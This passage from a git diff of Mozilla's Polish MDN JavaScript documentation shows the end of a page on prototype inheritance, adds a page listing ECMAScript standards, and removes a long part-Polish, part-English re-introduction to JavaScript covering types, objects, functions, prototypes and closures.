The only good reason for extending a built-in prototype is to backport the features of newer JavaScript engines; for example Array.forEach, etc.

+ +

Przykład

+ +

B shall inherit from A:

+ +
function A(a){
+  this.varA = a;
+}
+
+// What is the purpose of including varA in the prototype when A.prototype.varA will always be shadowed by
+// this.varA, given the definition of function A above?
+A.prototype = {
+  varA : null,  // Shouldn't we strike varA from the prototype as doing nothing?
+      // perhaps intended as an optimization to allocate space in hidden classes?
+      // https://developers.google.com/speed/articles/optimizing-javascript#Initializing instance variables
+      // would be valid if varA wasn't being initialized uniquely for each instance
+  doSomething : function(){
+    // ...
+  }
+};
+
+function B(a, b){
+  A.call(this, a);
+  this.varB = b;
+}
+B.prototype = Object.create(A.prototype, {
+  varB : {
+    value: null,
+    enumerable: true,
+    configurable: true,
+    writable: true
+  },
+  doSomething : {
+    value: function(){ // override
+      A.prototype.doSomething.apply(this, arguments); // call super
+      // ...
+    },
+    enumerable: true,
+    configurable: true,
+    writable: true
+  }
+});
+B.prototype.constructor = B;
+
+var b = new B();
+b.doSomething();
+
+ +

The important parts are:

+ + + +

prototype and Object.getPrototypeOf

+ +

JavaScript is a bit confusing for developers coming from Java or C++, as it's all dynamic, all runtime, and it has no classes at all. It's all just instances (objects). Even the "classes" we simulate are just a function object.

+ +

You probably already noticed that our function A has a special property called prototype. This special property works with the JavaScript new operator. The reference to the prototype object is copied to the internal [[Prototype]] property of the new instance. For example, when you do var a1 = new A(), JavaScript (after creating the object in memory and before running function A() with this defined to it) sets a1.[[Prototype]] = A.prototype. When you then access properties of the instance, JavaScript first checks whether they exist on that object directly, and if not, it looks in [[Prototype]]. This means that all the stuff you define in prototype is effectively shared by all instances, and you can even later change parts of prototype and have the changes appear in all existing instances, if you wanted to.

+ +

If, in the example above, you do var a1 = new A(); var a2 = new A(); then a1.doSomething would actually refer to Object.getPrototypeOf(a1).doSomething, which is the same as the A.prototype.doSomething you defined, i.e. Object.getPrototypeOf(a1).doSomething == Object.getPrototypeOf(a2).doSomething == A.prototype.doSomething.

+ +

In short, prototype is for types, while Object.getPrototypeOf() is the same for instances.

+ +

[[Prototype]] is looked at recursively, i.e. a1.doSomething, Object.getPrototypeOf(a1).doSomething, Object.getPrototypeOf(Object.getPrototypeOf(a1)).doSomething etc., until it's found or Object.getPrototypeOf returns null.

+ +

So, when you call

+ +
var o = new Foo();
+ +

JavaScript actually just does

+ +
var o = new Object();
+o.[[Prototype]] = Foo.prototype;
+Foo.call(o);
+ +

(or something like that) and when you later do

+ +
o.someProp;
+ +

it checks whether o has a property someProp. If not it checks Object.getPrototypeOf(o).someProp and if that doesn't exist it checks Object.getPrototypeOf(Object.getPrototypeOf(o)).someProp and so on.

+ +
+

Na zakończenie

+ +

It is essential to understand the prototypal inheritance model before writing complex code that makes use of it. Also, be aware of the length of the prototype chains in your code and break them up if necessary to avoid possible performance problems. Further, the native prototypes should never be extended unless it is for the sake of compatibility with newer JavaScript features.

+
diff --git a/files/pl/web/javascript/language_resources/index.html b/files/pl/web/javascript/language_resources/index.html new file mode 100644 index 0000000000..c53fd0fd2a --- /dev/null +++ b/files/pl/web/javascript/language_resources/index.html @@ -0,0 +1,48 @@ +--- +title: Zasoby języka JavaScript +slug: Web/JavaScript/Zasoby_języka_JavaScript +tags: + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Language_Resources +--- +

+

+

JavaScript 1.x

+

ECMAScript jest nazwą używaną dla JavaScriptu ustandaryzowanego przez komitet TC39 organizacji standardów ECMA. Poniższe standardy ECMAScript zostały zatwierdzone: +

+ +
Nazwa Odnośniki Data Opis
ECMA-262 PDF Czerwiec 1997 Oryginalny standard ECMAScript.
2 Edycja ECMA-262 PDF Sierpień 1998 Druga wersja standardu ECMAScript; również standard ISO 16262.
3 Edycja ECMA-262 PDF Word Grudzień 1999 Trzecia i najbardziej aktualna wersja standardu ECMAScript; nawiązuje do JavaScript 1.5.
Zobacz także erratę.
ECMA-357 PDF Czerwiec 2004 ECMAScript dla XML (E4X).
Zobacz także erratę E4X.
+

JavaScript 2.0 i 4 edycja ECMAScript

+

Bieżące informacje

+

Nowe: myśl przewodnia Brendana JavaScript at Ten Years (Powerpoint) na konferencję ACM ICFP 2005. +

Obecne prace nad czwartą edycją ECMAScript są okresowe wysyłane na http://developer.mozilla.org/es4/ +

+

Informacje historyczne

+
+

Informacje w tym fragmencie są przestarzałe. +

+
+

Zobacz stronę JavaScript 2.0, aby obejrzeć propozycję Netscapa dotyczącą kolejnej wersji języka JavaScript. Wszystkie informacje tam zawarte są w zasadzie jedynie wstępem i niekoniecznie wskazują konkretne funkcje, które zostaną zaimplementowane w przyszłości. Pracujemy w ramach ECMA TC39, aby koordynować i ustandaryzować proponowane zmiany. +

Zobacz stronę 4 edycji ECMAScript, aby dowiedzieć się o pokrewnej Netscapowi propozycji kolejnej wersji standardu ECMAScript. +

Waldemar jest twórcą 4 edycji standardu ECMA-262 zaproponowanej na rok 2002. Niekompletny szkic ECMA TC39, będący w trakcie konstrukcji, jest dostępny tutaj w formacie PDF. +

Waldemar zaprezentował wykład na temat JavaScriptu 2.0 na konferencji LL1 na MIT. Sprawdź odnośnik agendy, aby uzyskać slajdy z wykładu. +

Waldemar zaprezentował druk "JavaScript 2.0: Evolving a Language for Evolving Systems?" (PDF) oraz wykład na temat JavaScriptu 2.0 (slajdy PowerPoint) na MacHack 2002. Opisują one niektóre z cech języka JavaScript 2.0 i uzasadnienie ich wyboru i konkretnego użycia. +

Dostępna jest wczesna implementacja JavaScriptu 2.0 o nazwie kodowej Epimetheus. +

+

LiveConnect

+

LiveConnect jest mostem pomiędzy JavaScriptem a Javą. 3 wersja LiveConnect jest zaimplementowana w SpiderMonkey od wersji 1.4 i w Rhino od wersji 1.5. +

+

Różne

+

Poniższe zasoby mogą również okazać się pomocne: +

+ +
+

Informacje o pochodzeniu dokumentu

+ +
+{{ languages( { "en": "en/JavaScript_Language_Resources", "ja": "ja/JavaScript_Language_Resources" } ) }} diff --git "a/files/pl/web/javascript/na_pocz\304\205tek/index.html" "b/files/pl/web/javascript/na_pocz\304\205tek/index.html" deleted file mode 100644 index 44f95f6c62..0000000000 --- "a/files/pl/web/javascript/na_pocz\304\205tek/index.html" +++ /dev/null @@ -1,903 +0,0 @@ ---- -title: Na początek -slug: Web/JavaScript/Na_początek -tags: - - JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie ---- -
UWAGA, UWAGA!: Pomimo tego, że artykuł jest wywieszony jako artykuł do dopracowania, to mimo to, PROSZĘ go na razie NIE TŁUMACZYĆ. Powodem jest to, że tekst w sporej mierze jest już przetłumaczony. Więc po prostu szkoda zapału i zużywania energii na coś co już jest w wersji PL. W ramach tego samego czasu możecie przetłumaczyć coś, czego nie ma na 100% w dopracowanych. Ptak82 17:18, 13 mar 2007 (PDT)
- -

Wprowadzenie

- -

Dlaczego ponowne wprowadzenie? Bo JavaScript można śmiało określić jako najbardziej błędnie rozumiany język programowania (en). Często wyszydzany, nazywany zabawką, pod swoją kuszącą prostotą chowa on szerokie możliwości. W roku 2005 pojawił się szereg wysokiej jakości aplikacji w JavaScripcie, dowodzących, że pogłębiona znajomość tej technologii to to, czym powinien móc się pochwalić każdy twórca serwisów internetowych.

- -

Wygodnie będzie zacząć od kilku słów na temat historii języka. JavaScript stowrzył w roku 1995 Brendan Eich, programista firmy Netscape. Pierwszą przeglądarką z obsługą JavaScriptu była Netscape 2, wydana na początku 1996 r. Pierwotnie język ten miał się nazywać LiveScript, ale nazwę nieszczęśliwie zmieniono z przyczyn marketingowych - chciano skorzystać z popularności Javy, języka firmy Sun Microsystems, mimo że oba te języki niewiele ze sobą łączy. Nazwa "JavaScript" do dziś jest przyczyną wielu nieporozumień.

- -

Microsoft wydał prawie kompatybilną wersję tego języka pod nazwą JScript razem z przeglądarką Internet Explorer 3 kilka miesięcy później. Firma Netscape zgłosiła język do europejskiej organizacji standaryzacyjnej Ecma International, skutkiem czego było pierwsze wydanie standardu ECMAScript w roku 1997. Specyfikację tę szeroko uzupełniono i rozbudowano w roku 1999 i opublikowano jako ECMAScript wydanie 3 i od tej pory język ten był w miarę stabilny, nie przechodził większych rewolucji, choć obecnie trwają prace nad wydaniem czwartym.

- -

Stabilność ta to dobra wiadomość dla programistów, jako że wszystkie implementacje miały wiele czasu, by w pełni dojść do w miarę zgodnego stanu. W tym artykule skupiam się wyłącznie na dialekcie z wydania trzeciego. Dla uproszczenia pozostanę w tym artykule przy terminie "JavaScript".

- -

W przeciwieństwie do większości języków, JavaScript nie posiada koncepcji wejścia/wyjścia. Zaprojektowany został jako język skryptowy dla maszyny wirtualnej i to ta maszyna wirtualna ma za zadanie zapewnić mechanizmy komunikacji ze światem zewnętrznym. Najbardziej popularną maszyną wirtualną jest przeglądarka, ale interpretery JavaScriptu można znaleźć np. w programach Adobe Acrobat, Photoshop, silniku Yahoo! Widget i innych.

- -

Przegląd

- -

Zacznijmy od fundamentów każdego języka programowania: typów danych. Programy w JavaScripcie manipulują wartościami, z których każda należy do konkretnego typu. Typy w JavaScripcie to:

- - - -

a także Undefined (wartość niezdefiniowana) i Null, które można uważać za nieco dziwne. Ponadto mamy do dyspozycji tablice - Array - które są szczególnym rodzajem obiektu. Oprócz tego daty - Date i wyrażenia regularne, które także są obiektami. Gwoli ścisłości, funkcje także są szczególnymi obiektami.

- -

Diagram typów wygląda zatem następująco:

- - - -

Istnieją także podtypy typu Error, ale pomińmy je, żeby za bardzo nie mieszać i pozostańmy przy pierwszym diagramie.

- -

Liczby

- -

Zgodnie ze specyfikacją, liczby w JavaScripcie są "64-bitowymi wartościami podwójnej precyzji w formacie IEEE 754". Ma to ciekawe skutki. Na przykład, w JavaScripcie nie ma czegoś takiego jak liczba całkowita, dlatego trzeba zachować nieco ostrożności przy operacjach arytmetycznych, zwłaszcza jeśli przyzwyczajeni jesteśmy do C lub Javy. Należy uważać na takie sytuacje:

- -
0.1 + 0.2 = 0.30000000000000004
-
- -

Dostępne są standardowe operatory arytmetyczne, w tym oczywiście dodawanie, odejmowanie, modulo (reszta z dzielenia) itd. Jest także specjalny obiekt Math pozwalający na stosowanie bardziej zaawansowanych funkcji i stałych matematycznych:

- -
Math.sin(3.5);
-d = Math.PI * r * r;
-
- -

Ciąg znaków można skonwertować do liczby korzystając z wbudowanej funkcji parseInt(). Funkcja ta może posiadać dodatkowy, drugi argument, który określa podstawę systemu dla tej konwersji. Ten argument warto jednak zawsze podawać:

- -
> parseInt("123", 10)
-123
-> parseInt("010", 10)
-10
-
- -

...żeby nie dostać nieoczekiwanych wyników:

- -
> parseInt("010")
-8
-
- -

Taki wynik otrzymaliśmy dlatego, że funkcja parseInt uznała liczbę w naszym ciągu znaków za ósemkową, bo rozpoczęliśmy ją od znaku "0".

- -

Jeśli chcesz skonwertować liczbę binarną do dziesiętnej, wystarczy zmienić podstawę:

- -
> parseInt("11", 2)
-3
-
- -

Funkcja zwraca specjalną wartość NaN (skrót ang. "Not a Number" - "To nie jest liczba"), jeśli dany ciąg znaków nie jest liczbą:

- -
> parseInt("witaj", 10)
-NaN
-
- -

NaN jest toksyczna: wprowadzenie jej do jakiejkolwiek operacji matematycznej spowoduje, że jej wynikiem również będzie NaN:

- -
> NaN + 5
-NaN
-
- -

Aby sprawdzić, czy dana wartość jest NaN, można użyć wbudowanej funkcji isNaN():

- -
> isNaN(NaN)
-true
-
- -

(NaN nie jest bowiem równe nawet samo sobie, NaN!=NaN - przyp. tłum.)

- -

W JavaScripcie istnieją także specjalne wartości reprezentujące plus i minus nieskończoność: Infinity and -Infinity:

- -
> 1 / 0
-Infinity
-> -1 / 0
--Infinity
-
- -

Ciągi znaków

- -

Teksty w JavaScripcie to sekwencje znaków. Dokładniej rzecz biorąc, są to sekwencje znaków Unicode, w których każdy znak reprezentowany jest przez liczbę 16-bitową. To dobra wiadomość dla wszystkich osób zajmujących się internacjonalizacją.

- -

Jeśli zajdzie potrzeba reprezentowania pojedynczego znaku, stosuje się po prostu ciąg o długości równej 1.

- -

Aby odnaleźć długość ciągu, należy skorzystać z jego własności length:

- -
> "witaj".length
-5
-
- -

To nasze pierwsze spotkanie z obiektami JavaScriptu! Czy wspomniałem, że ciągi są też obiektami? Naturalnie, mają też metody:

- -
> "witaj".charAt(0)
-w
-> "witaj, świecie".replace("witaj", "do zobaczenia")
-do zobaczenia, świecie
-> "witaj".toUpperCase()
-WITAJ
-
- -

Other types

- -

JavaScript distinguishes between null, which is an object of type 'object' that indicates a deliberate non-value, and undefined, which is an object of type 'undefined' that indicates an uninitialized value — that is, a value hasn't even been assigned yet. We'll talk about variables later, but in JavaScript it is possible to declare a variable without assigning a value to it. If you do this, the variable's type is undefined.

- -

JavaScript has a boolean type, with possible values true and false (both of which are keywords). Any value can be converted to a boolean according to the following rules:

- -
    -
  1. false, 0, the empty string (""), NaN, null, and undefined all become false
  2. -
  3. all other values become true
  4. -
- -

You can perform this conversion explicitly using the Boolean() function:

- -
> Boolean("")
-false
-> Boolean(234)
-true
-
- -

However, this is rarely necessary, as JavaScript will silently perform this conversion when it expects a boolean, such as in an if statement (see below). For this reason, we sometimes speak simply of "true values" and "false values," meaning values that become true and false, respectively, when converted to booleans. Alternatively, such values can be called "truthy" and "falsy," respectively.

- -

Boolean operations such as && (logicaland), || (logicalor), and ! (logicalnot) are supported; see below.

- -

Variables

- -

New variables in JavaScript are declared using the var keyword:

- -
var a;
-var name = "simon";
-
- -

If you declare a variable without assigning any value to it, its type is undefined. should note the absence of block-scoping in JS

- -

Operators

- -

JavaScript's numeric operators are +, -, *, / and % - which is the remainder operator. Values are assigned using =, and there are also compound assignment statements such as += and -=. These extend out to x = xoperator y.

- -
x += 5
-x = x + 5
-
- -

You can use ++ and -- to increment and decrement respectively. These can be used as prefix or postfix operators.

- -

The + operator also does string concatenation:

- -
> "hello" + " world"
-hello world
-
- -

If you add a string to a number (or other value) everything is converted in to a string first. This might catch you out:

- -
> "3" + 4 + 5
-345
-> 3 + 4 + "5"
-75
-
- -

Adding an empty string to something is a useful way of converting it.

- -

Comparisons in JavaScript can be made using <, >, <= and >=. These work for both strings and numbers. Equality is a little less straightforward. The double-equals operator performs type coercion if you give it different types, with sometimes interesting results:

- -
> "dog" == "dog"
-true
-> 1 == true
-true
-
- -

To avoid type coercion, use the triple-equals operator:

- -
> 1 === true
-false
-> true === true
-true
-
- -

There are also != and !== operators.

- -

JavaScript also has bitwise operations. If you want to use them, they're there.

- -

Control structures

- -

JavaScript has a similar set of control structures to other languages in the C family. Conditional statements are supported by if and else; you can chain them together if you like:

- -
var name = "kittens";
-if (name == "puppies") {
-  name += "!";
-} else if (name == "kittens") {
-  name += "!!";
-} else {
-  name = "!" + name;
-}
-name == "kittens!!"
-
- -

JavaScript has while loops and do-while loops. The first is good for basic looping; the second for loops where you wish to ensure that the body of the loop is executed at least once:

- -
while (true) {
-  // an infinite loop!
-}
-
-do {
-  var input = get_input();
-} while (inputIsNotValid(input))
-
- -

JavaScript's for loop is the same as that in C and Java: it lets you provide the control information for your loop on a single line.

- -
for (var i = 0; i < 5; i++) {
-  // Will execute 5 times
-}
-
- -

The && and || operators use short-circuit logic, which means whether they will execute their second operand is dependent on the first. This is useful for checking for null objects before accessing their attributes:

- -
var name = o && o.getName();
-
- -

Or for setting default values:

- -
var name = otherName || "default";
-
- -

JavaScript has a tertiary operator for one-line conditional statements:

- -
var allowed = (age > 18) ? "yes" : "no";
-
- -

The switch statement can be used for multiple branches based on a number or string:

- -
switch(action) {
-    case 'draw':
-        drawit();
-        break;
-    case 'eat':
-        eatit();
-        break;
-    default:
-        donothing();
-}
-
- -

If you don't add a break statement, execution will "fall through" to the next level. This is very rarely what you want - in fact it's worth specifically labelling deliberate fallthrough with a comment if you really meant it to aid debugging:

- -
switch(a) {
-    case 1: // fallthrough
-    case 2:
-        eatit();
-        break;
-    default:
-        donothing();
-}
-
- -

The default clause is optional. You can have expressions in both the switch part and the cases if you like; comparisons take place between the two using the === operator:

- -
switch(1 + 3):
-    case 2 + 2:
-        yay();
-        break;
-    default:
-        neverhappens();
-}
-
- -

Objects

- -

JavaScript objects are simply collections of name-value pairs. As such, they are similar to:

- - - -

The fact that this data structure is so widely used is a testament to its versatility. Since everything (bar core types) in JavaScript is an object, any JavaScript program naturally involves a great deal of hash table lookups. It's a good thing they're so fast!

- -

The "name" part is a JavaScript string, while the value can be any JavaScript value - including more objects. This allows you to build data structures of arbitrary complexity.

- -

There are two basic ways to create an empty object:

- -
var obj = new Object();
-
- -

And:

- -
var obj = {};
-
- -

These are semantically equivalent; the second is called object literal syntax, and is more convenient. Object literal syntax was not present in very early versions of the language which is why you see so much code using the old method.

- -

Once created, an object's properties can again be accessed in one of two ways:

- -
obj.name = "Simon"
-var name = obj.name;
-
- -

And...

- -
obj["name"] = "Simon";
-var name = obj["name"];
-
- -

These are also semantically equivalent. The second method has the advantage that the name of the property is provided as a string, which means it can be calculated at run-time. It can also be used to set and get properties with names that are reserved words:

- -
obj.for = "Simon"; // Syntax error, because 'for' is a reserved word
-obj["for"] = "Simon"; // works fine
-
- -

Object literal syntax can be used to initialise an object in its entirety:

- -
var obj = {
-    name: "Carrot",
-    "for": "Max",
-    details: {
-        color: "orange",
-        size: 12
-    }
-}
-
- -

Attribute access can be chained together:

- -
> obj.details.color
-orange
-> obj["details"]["size"]
-12
-
- -

Arrays

- -

Arrays in JavaScript are actually a special type of object. They work very much like regular objects (numerical properties can naturally be accessed only using [] syntax) but they have one magic property called 'length'. This is always one more than the highest index in the array.

- -

The old way of creating arrays is as follows:

- -
> var a = new Array();
-> a[0] = "dog";
-> a[1] = "cat";
-> a[2] = "hen";
-> a.length
-3
-
- -

A more convenient notation is to use an array literal:

- -
> var a = ["dog", "cat", "hen"];
-> a.length
-3
-
- -

Leaving a trailing comma at the end of an array literal is inconsistent across browsers, so don't do it.

- -

Note that array.length isn't necessarily the number of items in the array. Consider the following:

- -
> var a = ["dog", "cat", "hen"];
-> a[100] = "fox";
-> a.length
-101
-
- -

Remember - the length of the array is one more than the highest index.

- -

If you query a non-existent array index, you get undefined:

- -
> typeof(a[90])
-undefined
-
- -

If you take the above into account, you can iterate over an array using the following:

- -
for (var i = 0; i < a.length; i++) {
-    // Do something with a[i]
-}
-
- -

This is slightly inefficient as you are looking up the length property once every loop. An improvement is this:

- -
for (var i = 0, len = a.length; i < len; i++) {
-    // Do something with a[i]
-}
-
- -

An even nicer idiom is:

- -
for (var i = 0, item; item = a[i]; i++) {
-    // Do something with item
-}
-
- -

Here we are setting up two variables. The assignment in the middle part of the for loop is also tested for truthfulness - if it succeeds, the loop continues. Since i is incremented each time, items from the array will be assigned to item in sequential order. The loop stops when a "falsy" item is found (such as undefined).

- -

Note that this trick should only be used for arrays which you know do not contain "falsy" values (arrays of objects or DOM nodes for example). If you are iterating over numeric data that might include a 0 or string data that might include the empty string you should use the i, j idiom instead.

- -

Another way to iterate is to use the for...in loop. Note that if someone added new properties to Array.prototype, they will also be iterated over by this loop:

- -
for (var i in a) {
-  // Do something with a[i]
-}
-
- -

If you want to append an item to an array, the safest way to do it is like this:

- -
a[a.length] = item;                 // same as a.push(item);
-
- -

Since a.length is one more than the highest index, you can be assured that you are assigning to an empty position at the end of the array.

- -

Arrays come with a number of methods:

- -
a.toString(), a.toLocaleString(), a.concat(item, ..), a.join(sep),
-a.pop(), a.push(item, ..), a.reverse(), a.shift(), a.slice(start, end),
-a.sort(cmpfn), a.splice(start, delcount, [item]..), a.unshift([item]..)
-
- - - -

Functions

- -

Along with objects, functions are the core component in understanding JavaScript. The most basic function couldn't be much simpler:

- -
function add(x, y) {
-    var total = x + y;
-    return total;
-}
-
- -

This demonstrates everything there is to know about basic functions. A JavaScript function can take 0 or more named parameters. The function body can contain as many statements as you like, and can declare its own variables which are local to that function. The return statement can be used to return a value at any time, terminating the function. If no return statement is used (or an empty return with no value), JavaScript returns undefined.

- -

The named parameters turn out to be more like guidelines than anything else. You can call a function without passing the parameters it expects, in which case they will be set to undefined.

- -
> add()
-NaN // You can't perform addition on undefined
-
- -

You can also pass in more arguments than the function is expecting:

- -
> add(2, 3, 4)
-5 // added the first two; 4 was ignored
-
- -

That may seem a little silly, but functions have access to an additional variable inside their body called arguments, which is an array-like object holding all of the values passed to the function. Let's re-write the add function to take as many values as we want:

- -
function add() {
-    var sum = 0;
-    for (var i = 0, j = arguments.length; i < j; i++) {
-        sum += arguments[i];
-    }
-    return sum;
-}
-
-> add(2, 3, 4, 5)
-14
-
- -

That's really not any more useful than writing 2 + 3 + 4 + 5 though. Let's create an averaging function:

- -
function avg() {
-    var sum = 0;
-    for (var i = 0, j = arguments.length; i < j; i++) {
-        sum += arguments[i];
-    }
-    return sum / arguments.length;
-}
-> avg(2, 3, 4, 5)
-3.5
-
- -

This is pretty useful, but introduces a new problem. The avg() function takes a comma separated list of arguments - but what if you want to find the average of an array? You could just rewrite the function as follows:

- -
function avgArray(arr) {
-    var sum = 0;
-    for (var i = 0, j = arr.length; i < j; i++) {
-        sum += arr[i];
-    }
-    return sum / arr.length;
-}
-> avgArray([2, 3, 4, 5])
-3.5
-
- -

But it would be nice to be able to reuse the function that we've already created. Luckily, JavaScript lets you call a function and call it with an arbitrary array of arguments, using the apply() method of any function object.

- -
> avg.apply(null, [2, 3, 4, 5])
-3.5
-
- -

The second argument to apply() is the array to use as arguments; the first will be discussed later on. This emphasizes the fact that functions are objects too.

- -

JavaScript lets you create anonymous functions.

- -
var avg = function() {
-    var sum = 0;
-    for (var i = 0, j = arguments.length; i < j; i++) {
-        sum += arguments[i];
-    }
-    return sum / arguments.length;
-}
-
- -

This is semantically equivalent to the function avg() form. It's extremely powerful, as it lets you put a full function definition anywhere that you would normally put an expression. This enables all sorts of clever tricks. Here's a way of "hiding" some local variables - like block scope in C:

- -
> var a = 1;
-> var b = 2;
-> (function() {
-    var b = 3;
-    a += b;
-})();
-> a
-4
-> b
-2
-
- -

JavaScript allows you to call functions recursively. This is particularly useful for dealing with tree structures, such as you get in the browser DOM.

- -
function countChars(elm) {
-    if (elm.nodeType == 3) { // TEXT_NODE
-        return elm.nodeValue.length;
-    }
-    var count = 0;
-    for (var i = 0, child; child = elm.childNodes[i]; i++) {
-        count += countChars(child);
-    }
-    return count;
-}
-
- -

This highlights a potential problem with anonymous functions: how do you call them recursively if they don't have a name? The answer lies with the arguments object, which in addition to acting as a list of arguments also provides a property called arguments.callee. This always refers to the current function, and hence can be used to make recursive calls:

- -
var charsInBody = (function(elm) {
-    if (elm.nodeType == 3) { // TEXT_NODE
-        return elm.nodeValue.length;
-    }
-    var count = 0;
-    for (var i = 0, child; child = elm.childNodes[i]; i++) {
-        count += arguments.callee(child);
-    }
-    return count;
-})(document.body);
-
- -

Since arguments.callee is the current function, and all functions are objects, you can use arguments.callee to save information across multiple calls to the same function. Here's a function that remembers how many times it has been called:

- -
function counter() {
-    if (!arguments.callee.count) {
-        arguments.callee.count = 0;
-    }
-    return arguments.callee.count++;
-}
-
-> counter()
-0
-> counter()
-1
-> counter()
-2
-
- -

Custom objects

- -

In classic Object Oriented Programming, objects are collections of data and methods that operate on that data. Let's consider a person object with first and last name fields. There are two ways in which their name might be displayed: as "first last" or as "last, first". Using the functions and objects that we've discussed previously, here's one way of doing it:

- -
function makePerson(first, last) {
-    return {
-        first: first,
-        last: last
-    }
-}
-function personFullName(person) {
-    return person.first + ' ' + person.last;
-}
-function personFullNameReversed(person) {
-    return person.last + ', ' + person.first
-}
-> s = makePerson("Simon", "Willison");
-> personFullName(s)
-Simon Willison
-> personFullNameReversed(s)
-Willison, Simon
-
- -

This works, but it's pretty ugly. You end up with dozens of functions in your global namespace. What we really need is a way to attach a function to an object. Since functions are objects, this is easy:

- -
function makePerson(first, last) {
-    return {
-        first: first,
-        last: last,
-        fullName: function() {
-            return this.first + ' ' + this.last;
-        },
-        fullNameReversed: function() {
-            return this.last + ', ' + this.first;
-        }
-    }
-}
-> s = makePerson("Simon", "Willison")
-> s.fullName()
-Simon Willison
-> s.fullNameReversed()
-Willison, Simon
-
- -

There's something here we haven't seen before: the 'this' keyword. Used inside a function, 'this' refers to the current object. What that actually means is specified by the way in which you called that function. If you called it using dot notation or bracket notation on an object, that object becomes 'this'. If dot notation wasn't used for the call, 'this' refers to the global object. This is a frequent cause of mistakes. For example:

- -
> s = makePerson("Simon", "Willison")
-> var fullName = s.fullName;
-> fullName()
-undefined undefined
-
- -

When we call fullName(), 'this' is bound to the global object. Since there are no global variables called first or last we get undefined for each one.

- -

We can take advantage of the 'this' keyword to improve our makePerson function:

- -
function Person(first, last) {
-    this.first = first;
-    this.last = last;
-    this.fullName = function() {
-        return this.first + ' ' + this.last;
-    }
-    this.fullNameReversed = function() {
-        return this.last + ', ' + this.first;
-    }
-}
-var s = new Person("Simon", "Willison");
-
- -

We've introduced another keyword: 'new'. new is strongly related to 'this'. What it does is it creates a brand new empty object, and then calls the function specified, with 'this' set to that new object. Functions that are designed to be called by 'new' are called constructor functions. Common practise is to capitalise these functions as a reminder to call them with new.

- -

Our person objects are getting better, but there are still some ugly edges to them. Every time we create a person object we are creating two brand new function objects within it - wouldn't it be better if this code was shared?

- -
function personFullName() {
-    return this.first + ' ' + this.last;
-}
-function personFullNameReversed() {
-    return this.last + ', ' + this.first;
-}
-function Person(first, last) {
-    this.first = first;
-    this.last = last;
-    this.fullName = personFullName;
-    this.fullNameReversed = personFullNameReversed;
-}
-
- -

That's better: we are creating the method functions only once, and assigning references to them inside the constructor. Can we do any better than that? The answer is yes:

- -
function Person(first, last) {
-    this.first = first;
-    this.last = last;
-}
-Person.prototype.fullName = function() {
-    return this.first + ' ' + this.last;
-}
-Person.prototype.fullNameReversed = function() {
-    return this.last + ', ' + this.first;
-}
-
- -

Person.prototype is an object shared by all instances of Person. It forms part of a lookup chain (that has a special name, "prototype chain"): any time you attempt to access a property of Person that isn't set, JavaScript will check Person.prototype to see if that property exists there instead. As a result, anything assigned to Person.prototype becomes available to all instances of that constructor via the this object.

- -

This is an incredibly powerful tool. JavaScript lets you modify something's prototype at any time in your program, which means you can add extra methods to existing objects at runtime:

- -
> s = new Person("Simon", "Willison");
-> s.firstNameCaps();
-TypeError on line 1: s.firstNameCaps is not a function
-> Person.prototype.firstNameCaps = function() {
-    return this.first.toUpperCase()
-}
-> s.firstNameCaps()
-SIMON
-
- -

Interestingly, you can also add things to the prototype of built-in JavaScript objects. Let's add a method to String that returns that string in reverse:

- -
> var s = "Simon";
-> s.reversed()
-TypeError on line 1: s.reversed is not a function
-> String.prototype.reversed = function() {
-    var r = "";
-    for (var i = this.length - 1; i >= 0; i--) {
-        r += this[i];
-    }
-    return r;
-}
-> s.reversed()
-nomiS
-
- -

Our new method even works on string literals!

- -
> "This can now be reversed".reversed()
-desrever eb won nac sihT
-
- -

As I mentioned before, the prototype forms part of a chain. The root of that chain is Object.prototype, whose methods include toString() - it is this method that is called when you try to represent an object as a string. This is useful for debugging our Person objects:

- -
> var s = new Person("Simon", "Willison");
-> s
-[object Object]
-> Person.prototype.toString = function() {
-    return '<Person: ' + this.fullName() + '>';
-}
-> s
-<Person: Simon Willison>
-
- -

Remember how avg.apply() had a null first argument? We can revisit that now. The first argument to apply() is the object that should be treated as 'this'. For example, here's a trivial implementation of 'new':

- -
function trivialNew(constructor) {
-    var o = {}; // Create an object
-    constructor.apply(o, arguments);
-    return o;
-}
-
- -

This isn't an exact replica of new as it doesn't set up the prototype chain. apply() is difficult to illustrate - it's not something you use very often, but it's useful to know about.

- -

apply() has a sister function named call, which again lets you set 'this' but takes an expanded argument list as opposed to an array.

- -
function lastNameCaps() {
-    return this.last.toUpperCase();
-}
-var s = new Person("Simon", "Willison");
-lastNameCaps.call(s);
-// Is the same as:
-s.lastNameCaps = lastNameCaps;
-s.lastNameCaps();
-
- -

Inner functions

- -

JavaScript function declarations are allowed inside other functions. We've seen this once before, with an earlier makePerson() function. An important detail of nested functions in JavaScript is that they can access variables in their parent function's scope:

- -
function betterExampleNeeded() {
-    var a = 1;
-    function oneMoreThanA() {
-        return a + 1;
-    }
-    return oneMoreThanA();
-}
-
- -

This provides a great deal of utility in writing more maintainable code. If a function relies on one or two other functions that are not useful to any other part of your code, you can nest those utility functions inside the function that will be called from elsewhere. This keeps the number of functions that are in the global scope down, which is always a good thing.

- -

This is also a great counter to the lure of global variables. When writing complex code it is often tempting to use global variables to share values between multiple functions - which leads to code that is hard to maintain. Nested functions can share variables in their parent, so you can use that mechanism to couple functions together when it makes sense without polluting your global namespace - 'local globals' if you like. This technique should be used with caution, but it's a useful ability to have.

- -

Closures

- -

This leads us to one of the most powerful abstractions that JavaScript has to offer - but also the most potentially confusing. What does this do?

- -
function makeAdder(a) {
-    return function(b) {
-        return a + b;
-    }
-}
-x = makeAdder(5);
-y = makeAdder(20);
-x(6)
-?
-y(7)
-?
-
- -

The name of the makeAdder function should give it away: it creates new 'adder' functions, which when called with one argument add it to the argument that they were created with.

- -

What's happening here is pretty much the same as was happening with the inner functions earlier on: a function defined inside another function has access to the outer function's variables. The only difference here is that the outer function has returned, and hence common sense would seem to dictate that its local variables no longer exist. But theydo still exist - otherwise the adder functions would be unable to work. What's more, there are two different "copies" of makeAdder's local variables - one in which a is 5 and one in which a is 20.

- -

Here's what's actually happening. Whenever JavaScript executes a function, a 'scope' object is created to hold the local variables created within that function. It is initialised with any variables passed in as function parameters. This is similar to the global object that all global variables and functions live in, but with a couple of important differences: firstly, a brand new scope object is created every time a function starts executing, and secondly, unlike the global object (which in browsers is accessible as window) these scope objects cannot be directly accessed from your JavaScript code. There is no mechanism for iterating over the properties of the current scope object for example.

- -

